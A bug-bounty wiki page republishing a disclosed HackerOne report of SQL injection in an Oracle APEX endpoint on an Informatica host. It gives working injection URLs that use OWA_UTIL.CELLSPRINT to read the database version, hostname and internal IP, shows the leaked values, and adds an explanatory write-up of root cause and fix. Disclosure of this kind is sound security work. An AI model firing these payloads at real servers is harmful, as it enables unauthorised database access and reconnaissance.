Skip to content
SQL injection Disclosed report Intermediate

[afocusp.informatica.com] Sql injection afocusp.informatica.com:37777

An Oracle APEX endpoint on a public host was vulnerable to SQL injection through a crafted query string parameter. An attacker could use it to read database version information, the database server hostname and its internal IP address.

e3xpl0it Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 3 days
  • Fixed in 55 days
  • Disclosed after 3 months

hi !There is another sql injection on host afocusp.informatica.com:37777

POC version http://afocusp.informatica.com:37777/pls/apex/f?);OWA_UTIL.CELLSPRINT(:1);--=select+*+from+v$version

hostname of the database server psvlxtdapp1.inf

http://afocusp.informatica.com:37777/pls/apex/f?);OWA_UTIL.CELLSPRINT(:1);--=select+SYS_CONTEXT('USERENV',+'HOST',+15)+ipaddr+from+dual

IP address of the database server (local) 10.1.192.93

http://afocusp.informatica.com:37777/pls/apex/f?);OWA_UTIL.CELLSPRINT(:1);--=select+SYS_CONTEXT('USERENV',+'IP_ADDRESS',+15)+ipaddr+from+dual

Ps You need to patch all servers with the url /pls/apex/f? this is old bug in oracle.

Attachments

IP_address_of_the_database_server_(local).jpg
IP_address_of_the_database_server_(local).jpg From the original on HackerOne
hostname_of_the_database_server_.jpg
hostname_of_the_database_server_.jpg
version_.jpg
version_.jpg

The original report as published on HackerOne, by e3xpl0it. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Oracle APEX application passed unsanitised user input into a SQL query, allowing injected database functions to execute.

Impact

An attacker could read database version details, the database server hostname and its internal IP address, exposing information useful for further attacks.

What the attacker needed

Network access to the host and port

The fix

All servers exposing the /pls/apex/f? path should be patched, as this is an old Oracle bug.

How it was found

  1. Send a crafted request to the APEX endpoint with an injected database function in the query string.
  2. Read the database version from the response.
  3. Change the injected query to read the database server hostname.
  4. Change it again to read the database server's internal IP address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The web address contained a database command instead of ordinary input, and the server ran it. This let the reporter ask the database questions and read back answers such as its version and internal network details. That kind of flaw is called SQL injection.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by e3xpl0it

View all

5 more disclosed reports, best first.

More from Informatica

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.